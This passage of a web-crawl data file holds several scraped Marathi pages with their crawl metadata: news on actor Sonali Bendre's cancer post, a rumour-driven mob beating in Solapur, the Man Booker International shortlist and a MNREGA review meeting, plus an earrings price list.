करण्यात आली आहे.\nछिंदम याच्या सुटकेनंतर नाशिकमध्ये तणाव निर्माण होऊ नये, यासाठी चोख पोलिस बंदोबस्तात त्याला नाशिक शहराबाहेर काढण्यात आले. त्यानंतर तो दक्षिणेतील राज्यात गेल्याची चर्चा आहे. छिंदम याने न्यायालयाकडे पोलिस संरक्षणाची मागणी केली होती. परंतु, न्यायालयाने त्याला त्यासाठी पोलिस अधीक्षकांकडे अर्ज करण्याची सूचना केल्याचे सांगण्यात आले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00335.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/my-son-my-strength-sonali-bendre/", "date_download": "2018-09-25T16:44:58Z", "digest": "sha1:TD4YNIRGNSXXMQL6WBX2UFJDY7N35J3Z", "length": 17553, "nlines": 257, "source_domain": "www.saamana.com", "title": "माझा मुलगा माझी ताकद : सोनालीची भावनिक पोस्ट | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानची दमदार सुरुवात\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nमाझा मुलगा माझी ताकद : सोनालीची भावनिक पोस्ट\nसामना ऑनलाईन | मुंबई\nअभिनेत्री सोनाली बेंद्रे हिला कॅन्सर झाल्याचे निदान झाल्यानंतर तिच्यावर सध्या लंडनमध्ये उपचार सुरू आहेत. आजाराशी सोनाली नेटाने लढा देत आहे. काही दिवसांपूर्वी छानसा हेअरकट केलेला फोटो सोशल मिडीयावर तिने शेअर करीत याची प्रचीती दिली होती. आता तिने आणखी एक फोटो शेअर करीत मुलासोबतचे सुंदर नाते सर्वांसमोर आणलंय आहे. आजाराची बातमी १२ वर्षांच्या मुलाला, रणवीरला सांगणे कठीण होते आणि या लढाईत मुलगा रणवीर कसा तिची ताकद बनला आहे, हे सांगणारी भावनिक पोस्ट सोनालीने लिहिली आहे.\nसोनालीने लिहिलंय, १२ वर्षे , ११ महिने आणि आठ दिवसांपूर्वी जेव्हापासून तो माझ्या आयुष्यात आला, तेव्हापासूनच त्याने माझ्या मनावर राज्य करण्यास सुरुवात केली. . तेव्हापासूनच गोल्डी आणि माझ्यासाठी रणवीरचा आनंद हेच सर्वकाही होते. त्यानंतर आता जेव्हा कॅन्सरने डोकं वर काढलं, तेव्हा त्याला याविषयी सांगावं तरी कसं, हाच प्रश्न आम्हाला पडला होता. आम्ही त्याचीच काळजी करत होतोच. पण, परिस्थितीविषयी त्याला माहिती करुन देणंही तितकच महत्वाचं होतं. आम्ही त्याला नेहमीच सर्व गोष्टी सांगत आलो आहोत आणि यावेळीही काही वेगळं नसणार होतं. त्याने कॅन्सरविषयी कळताच अगदी संयमाने, मोठय़ा प्रगल्भतेने गोष्टी समजून घेण्याचा प्रयत्न केला. त्या क्षणापासून तो माझ्यासाठी प्रेरणेचा आणि आशेचा एक स्रोत झाला आहे. अनेकदा तर तो माझ्या पालकांची भूमिका साकारतो. मला काय करायचं आहे, काय नाही, याची आठवण करून देतो. रणवीरसोबत जास्तीत जास्त वेळ घालवत असल्याचेही तिने सांगितले आहे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nपुढीलमेट्रोची नाइटशिफ्ट २ ऑगस्टपर्यंत बंद\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00335.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/special-story/mob-attack-two-people-beaten-in-solapur-293392.html", "date_download": "2018-09-25T17:22:38Z", "digest": "sha1:J47OSDZ2JWBY6HF5DR3POGHLRKM6XRWA", "length": 14402, "nlines": 130, "source_domain": "lokmat.news18.com", "title": "VIDEO :संशयाचं भूत सोलापुरातही!,मुलं चोरण्याच्या संशयातून दोघांना बेदम मारहाण", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nVIDEO :संशयाचं भूत सोलापुरातही,मुलं चोरण्याच्या संशयातून दोघांना बेदम मारहाण\nपोटाची खळगी भरण्यासाठी दारोदार भटकून पितळ आणि तांब्याचे भांडे पॉलिश करण्यासाठी परराज्यातून आलेल्या तरुणांना बेदम मारहाण करण्यात आली.\n20 जून : पोटच्या गोळ्याला चोरुन नेण्याच्या भयगंडाने ग्रासलेल्या समाजाकडून हातावर पोट असलेल्या लोकांचे जीणं हराम करुन टाकलेय. इतकेच नव्हे तर त्यांचा जगण्याचा अधिकारही हिरावून घेण्याचा प्रकार सोलापूरसह राज्यातील विविध भागात पाहायला मिळत आहे. याबद्दलचा हा संतापजनक रिपोर्ट...\nVIDEO :'शिशिर शिंदेंच्या 'घरवापसी'मुळे राज ठाकरे दुखावले'\nऔरंगाबाद जिल्ह्यातलं अफवाचं पेव आता सोलापुरात पोहोचलंय. पोटाची खळगी भरण्यासाठी दारोदार भटकून पितळ आणि तांब्याचे भांडे पॉलिश करण्यासाठी परराज्यातून आलेल्या तरुणांना बेदम मारहाण करण्यात आली. सोलापुरातील निलम नगर भागात जमावानं ही मारहाण केली. मारहाणीचं कारण ठरलं सोशल मीडियावरून पसरलेल्या अफवा.\nआपल्या मुलांना कोणीतरी पळवून नेईल ही भिती रास्त असली तरी त्याची शाहनिशा न करता नागरिक बिनदिक्कतपणे कायदा हातात घेत आहेत. पोलिसांनी अफवांना बळी न पडण्याचं आवाहन केलं असलं तरी भयगंडानं पछाडलेल्या नागरिकांना कोण आवरणार हा प्रश्न आहे\nबिग बाॅसच्या घरात 'हुकुमशहा' नंदकिशोर असा का वागला \nराज्याच्या ग्रामीण भागात सध्या लहान मुलं पळवून नेणारी टोळी आल्याच्या अफवानी अक्षरश: हैदोस घातलाय. आत्तापर्यंत अशा अफवांमुळे दोघांना जीव गमवावा लागलाय तर अनेक जणांचा कसाबसा जीव वाचलाय. त्यामुळे दिवसा रस्त्यावरून फिरणंही मुश्किल झालंय. नागरिक कायदा हातात घेत असल्यानं कायदा सुव्यवस्थेचा प्रश्न गंभीर बनत चाललाय. हे सगळं रोखण्याचं मोठं आव्हान पोलिसांसमोर आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00335.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://www.loksatta.com/athour-mapia-news/final-nomination-list-for-man-booker-international-prize-announced-in-london-1663216/", "date_download": "2018-09-25T17:12:31Z", "digest": "sha1:BUEOPDABYFY7YIEXJ6MASAEQAW46PEJC", "length": 15960, "nlines": 204, "source_domain": "www.loksatta.com", "title": "final nomination list for Man Booker International Prize announced in London | बुकबातमी : अनुवादित पुस्तकांचं ‘बुकर’.. | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nबुकबातमी : अनुवादित पुस्तकांचं ‘बुकर’..\nबुकबातमी : अनुवादित पुस्तकांचं ‘बुकर’..\nमॅन बुकर इंटरनॅशनल प्राइझ’ची यंदाची अंतिम नामांकन यादी गुरुवारी जाहीर करण्यात आली.\nअनुवादित इंग्रजी पुस्तकांसाठी २००५ पासून दर दोन वर्षांनी दिला जाणारा मॅन बुकर इंटरनॅशनल पुरस्कार २०१६ पासून वार्षिक झाला. ब्रिटनमध्ये प्रकाशित झालेल्या कादंबरी अथवा कथासंग्रहास हा पुरस्कार दिला जातो. मूळ लेखकाइतकेच अनुवादकालाही महत्त्व देणाऱ्या या पुरस्काराची पन्नास हजार पौंड इतकी घसघशीत रक्कम लेखक-अनुवादकांमध्ये समसमान विभागून दिली जाते. जगभरच्या सर्व देशांतील, सर्व भाषांतील लेखकांसाठी खुल्या असणाऱ्या या पुरस्काराबद्दलची उत्सुकता आता साहित्यिक-अनुवादकांइतकीच वाचकांमध्येही दिसून येते. त्यामुळेच या पुरस्काराच्या प्राथमिक तसेच अंतिम यादीकडे विचक्षण वाचकांचे लक्ष लागून राहिलेले असते. तर, अशा या ‘मॅन बुकर इंटरनॅशनल प्राइझ’ची यंदाची अंतिम नामांकन यादी गुरुवारी- १२ एप्रिलला लंडन येथील सॉमरसेट हाऊसमध्ये झालेल्या कार्यक्रमात जाहीर करण्यात आली. दरवर्षीप्रमाणे सहा पुस्तकी असलेल्या या यादीत पुढील पुस्तकांनी स्थान पटकावले आहे- (१) ‘व्हेरनॉन सुबुटेक्स’- व्हर्जिनिए डीस्पेन्टेस (२) ‘द व्हाइट बुक’- हान कँग (३) ‘द वर्ल्ड गोज् ऑन’- लास्लो कारझ्नाहोरकाइ (४) ‘लाइक अ फेडिंग श्ॉडो’- अ‍ॅन्टोनिओ म्युनोझ् मोलिना (५) ‘फ्रॅन्केन्स्टाइन इन बगदाद’- अहमद सादावी आणि (६) ‘फ्लाइटस्’- ओल्गा टोकरचक\nयंदाच्या या यादीचं वैशिष्टय़ म्हणजे, जागतिक कल्पित साहित्यातील योगदानासाठी २०१५ साली ‘मॅन बुकर इंटरनॅशनल’ने गौरविण्यात आलेले हंगेरीचे ज्येष्ठ कादंबरीकार लास्लो कारझ्नाहोरकाइ आणि पुढच्याच वर्षी, २०१६ मध्ये ‘द व्हेजिटेरियन’ या कादंबरीसाठी हा पुरस्कार पटकाविणारी दक्षिण कोरियाची लेखिका हान कँग- या दोघांची नवी पुस्तके यंदाच्या यादीत निवडली गेली आहेत. ‘सटॅनटँगो’ आणि ‘मेलॅन्कली ऑफ रेझिस्टन्स’ या १९८० च्या दशकात प्रसिद्ध झालेल्या कादंबऱ्यांपासून सतत लिहिते राहिलेले कारझ्नाहोरकाइ उत्तराधुनिक आशयासाठी प्रसिद्ध आहेत. गतवर्षी त्यांचा ‘द मॅनहॅटन प्रोजेक्ट’ हा ललितप्राय निबंधांचा संग्रह प्रकाशित झाला. हा संग्रह इंग्रजीत अनुवादित करणारे अनुवादक जॉन बॅटकी यांच्यासह ऑत्तिली मुझलेट आणि जॉर्ज शिर्टेस अशा तिघांनी मिळून अनुवादित केलेला कारझ्नाहोरकाइ यांचा २०१३ साली प्रकाशित ‘द वर्ल्ड गोज् ऑन’ हा तब्बल २१ कथांचा संग्रह यंदाच्या यादीत एक प्रबळ स्पर्धकआहे. तर हान कँगची या यादीत स्थान मिळवलेली कादंबरी आहे- ‘द व्हाइट बुक’,अनुवादक – डेबोरा स्मिथ कँगच्या ‘द व्हेजिटेरियन’चा अनुवादही डेबोरा स्मिथनेच केला होता. या गतविजेत्यांबरोबरच पोलंडच्या ओल्गा टोकरचकची ‘फ्लाइट्स’ ही इंग्रजीत अनुवादित झालेली पहिलीच कादंबरीही अनेकांचे लक्ष वेधून घेत आहे. तसेच आतापर्यंत डझनाहून अधिक कादंबऱ्या नावावर असलेल्या स्पेनच्या अ‍ॅन्टोनिओ म्युनोझ् मोलिनाची ‘लाइक अ फेडिंग शॅडो’ ही मार्टिन ल्युथर किंग ज्यु. यांचा मारेकरी जेम्स अर्ल रे यांच्या भावविश्वाचा वेध घेणारी कादंबरी, फ्रान्सची पत्रकार-लेखिका व्हर्जिनिए डीस्पेन्टेस हिची शहरी वळणाची ‘व्हेरनॉन सुबुटेक्स’ ही कादंबरी आणि २०१४ साली अरेबिक बुकर पटकावणारी इराकी लेखक अहमद सादावीची ‘फ्रॅन्केन्स्टाइन इन बगदाद’ ही बहुचर्चित कादंबरीही या यादीत आहे. खंत एकच, की २०१६ पासून वार्षिक झालेल्या या पुरस्काराच्या अंतिम यादीत एकही भारतीय लेखक नाही.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00335.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://www.pricedekho.com/mr/earrings/earrings-price-list.html?utm_source=headernav&utm_medium=categorytree&utm_term=Fashion&utm_content=Earrings", "date_download": "2018-09-25T17:38:46Z", "digest": "sha1:UZ62YG2DZB76MW6P5S5FPQIFPO4M2OCC", "length": 17698, "nlines": 437, "source_domain": "www.pricedekho.com", "title": "एअररिंग्स India मध्ये किंमत | एअररिंग्स वर दर सूची 25 Sep 2018 | PriceDekho.com", "raw_content": "कूपन, दर cashback ऑफर\nलॅपटॉप, पीसी च्या, गेमिंग आणि अॅक्सेसरीज\nकॅमेरा, लेन्स आणि अॅक्सेसरीज\nटीव्ही आणि मनोरंजन साधने\nघर & स्वयंपाकघर उपकरणे\nगृह सजावट, स्वयंपाकघर आणि फर्निचर\nलहान मुले आणि बेबी उत्पादने\nखेळ, फिटनेस आणि आरोग्य\nपुस्तके, स्टेशनरी, भेटी आणि मीडिया\nभारतातील टॉप 10 मोबाईल\nमागचा कॅमेरा [13 MP]\nमोबाईल प्रकरणे आणि कव्हर\nबिंदू आणि अंकुर कॅमेरे\nकंडिशनर्स,वॉशिंग मशिन्स आणि ड्रायरसुद्धा\nव्हॅक्यूम & विंडोमध्ये क्लीनर\nज्युसर मिक्सर आणि धार लावणारा\nओ डी टॉयलेट (EDT)\nपायांकरीता असलेले कातड्याचे बाह्य आवरण पॅड\nमऊ तळव्यांचे आवाज न होणारे बूट\nचप्पल आणि फ्लिप फ्लॉप्स\nएअररिंग्स India 2018मध्ये दर सूची\nसर्वाधिक ते सर्वात कमी\nसर्वात कमी ते सर्वोच्च\nएअररिंग्स दर India मध्ये 25 September 2018 म्हणून. किंमत यादी ऑनलाइन शॉपिंग 1491 एकूण एअररिंग्स समावेश आहे. उत्पादन तपशील, की वैशिष्ट्ये, चित्रे, रेटिंग आणि अधिक सोबत India मध्ये सर्वात कमी भाव शोधा. या वर्गात सर्वाधिक लोकप्रिय उत्पादन कॅरॅटलने बटरफ्लाय बीट सिल्वर स्टुडं इअररिंग्ज आहे. सर्वात कमी दर एक सोपा किंमत तुलना Snapdeal, Homeshop18, Indiatimes, Bluestone, Shopclues सारख्या सर्व प्रमुख ऑनलाइन स्टोअर्स पासून प्राप्त आहेत.\nकिंमत एअररिंग्स आपण सर्व बाजार मध्ये देण्यात येणार उत्पादने चर्चा करताना असतात. सर्वात महाग उत्पादन मेहरासोन्स 5 379 सात दॆमोंड एअररिंग्स इन 18 कट गोल्ड गडात 2036 Rs. 5,56,182 किंमत आहे. या विरुद्ध, सर्वात कमी दरातील उत्पादन Rs.97 येथे आपल्याला एथनिक 4 5 गँस फिश इअररिंग्ज एर्१७ उपलब्ध आहे. दर या फरक पर्यायांपैकी प्रीमियम उत्पादने ऑनलाइन खरेदीदार एक परवडणारे श्रेणी देते. ऑनलाइन दर Mumbai, New Delhi, Bangalore, Chennai, Pune, Kolkata, Hyderabad, Jaipur, Chandigarh, Ahmedabad, NCR ऑनलाइन खरेदीसाठी इत्यादी सर्व प्रमुख शहरांमध्ये वैध आहेत\nदर्शवत आहे 1491 उत्पादने\nबेलॉव रस 54 10000\nसिल्वर सिलेक्टिव ब्लू साज & व्हाईट साज ब्रास टॉप्स\nफाकेत्झ १००% रिअल दॆमोंड इअररिंग्ज फसल१९४\nफाकेत्झ १००% रिअल दॆमोंड इअररिंग्ज फसल०३\nस्टूडडेड एअररिंग्स बी पेअर एत११स\nबझ्झलिंग एअररिंग्स ऑफ क्षितिज 97 कज\nफ्लोरल Ch&Elier एअररिंग्स विथ साज & इमराल्डस फजे१२२५३\nसिल्व्हरवला रिअल टायगर इये सिल्वर डांगळे इअररिंग्ज\nमाही स्टर्लिंग बॉल्स रॅडिम बाली एर्११०४००४र\nशीतल कॉंटेम्पोरारी एअररिंग्स साज मिड टीप्स६००\nसिल्वर सिलेक्टिव औरंगे साज ब्रास टॉप्स\nस्टूडडेड एअररिंग्स बी पेअर एत१०ग\nथे परी फाशीनबळे पिंक अँड गोल्ड एअररिंग्स तपेर 562\nमोदींसह दॆमोंड स्टूडडेड एअररिंग्स इन गोल्ड बी स्पार्कल्स टँ७६५३\nस्टर्लिंग सिल्वर एअररिंग्स बी पेअर पे५०२०\nमाही विविध एक्सट्रावगांचे आलोय स्टुडं इअररिंग्ज\nमाही डायनॅमिक ग्रास आलोय स्टुडं इअररिंग्ज\nमाही फ्रोलिसासोमे आलोय स्टुडं इअररिंग्ज\nसिल्व्हरवला हार्ट सिल्वर डांगळे इअररिंग्ज\nसिल्व्हरवला ऑक्सिडाइज्ड स्टर्लिंग सिल्वर सिल्वर डांगळे इअररिंग्ज\nसिल्व्हरवला ऑक्सिडाइज्ड सिल्वर डांगळे इअररिंग्ज\nसिल्व्हरवला सिल्वर ड्रॉप इअररिंग्ज\nसिल्व्हरवला अमेथयेस्ट स्टर्लिंग सिल्वर सिल्वर डांगळे इअररिंग्ज\nइसिस डबले हेटस दॆमोंड गोल्ड एअररिंग्स\n* 80% संधी किंमत पुढील 3 आठवडे 10% पडू शकतो की नाही\nमिळवा झटपट किमतीत घट ईमेल / एसएमएस\nQuick links आमच्या विषयी आमच्याशी संपर्क साधा T&C गोपनीयता धोरण FAQ's\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00335.warc.wet.gz", "language": "mr", "language_score": 0.79, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/538725", "date_download": "2018-09-25T17:16:42Z", "digest": "sha1:7GV67WDDP3HITPR6IB2N77DUFUKHQWHY", "length": 9623, "nlines": 44, "source_domain": "www.tarunbharat.com", "title": "मनरेगाच्या तालुका आढावा सभेला खासदार, आमदारांची बगल - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » सातारा » मनरेगाच्या तालुका आढावा सभेला खासदार, आमदारांची बगल\nमनरेगाच्या तालुका आढावा सभेला खासदार, आमदारांची बगल\nसातारा तालुक्यात 194 महसूली गावे आहेत. तीन विधानसभा मतदार संघात सातारा तालुका विभागला गेला आहे. त्यामुळे तीन आमदार आणि एक खासदार या तालुक्याला आहे. परंतु महात्मा गांधी रोजगार हमी योजनेच्या प्रभावी अंमलबजावणीसाठी खासदार, आमदार यांच्या उपस्थितीत पंचायत समितीत आयोजित आढावा सभेला बगल दिली गेली. 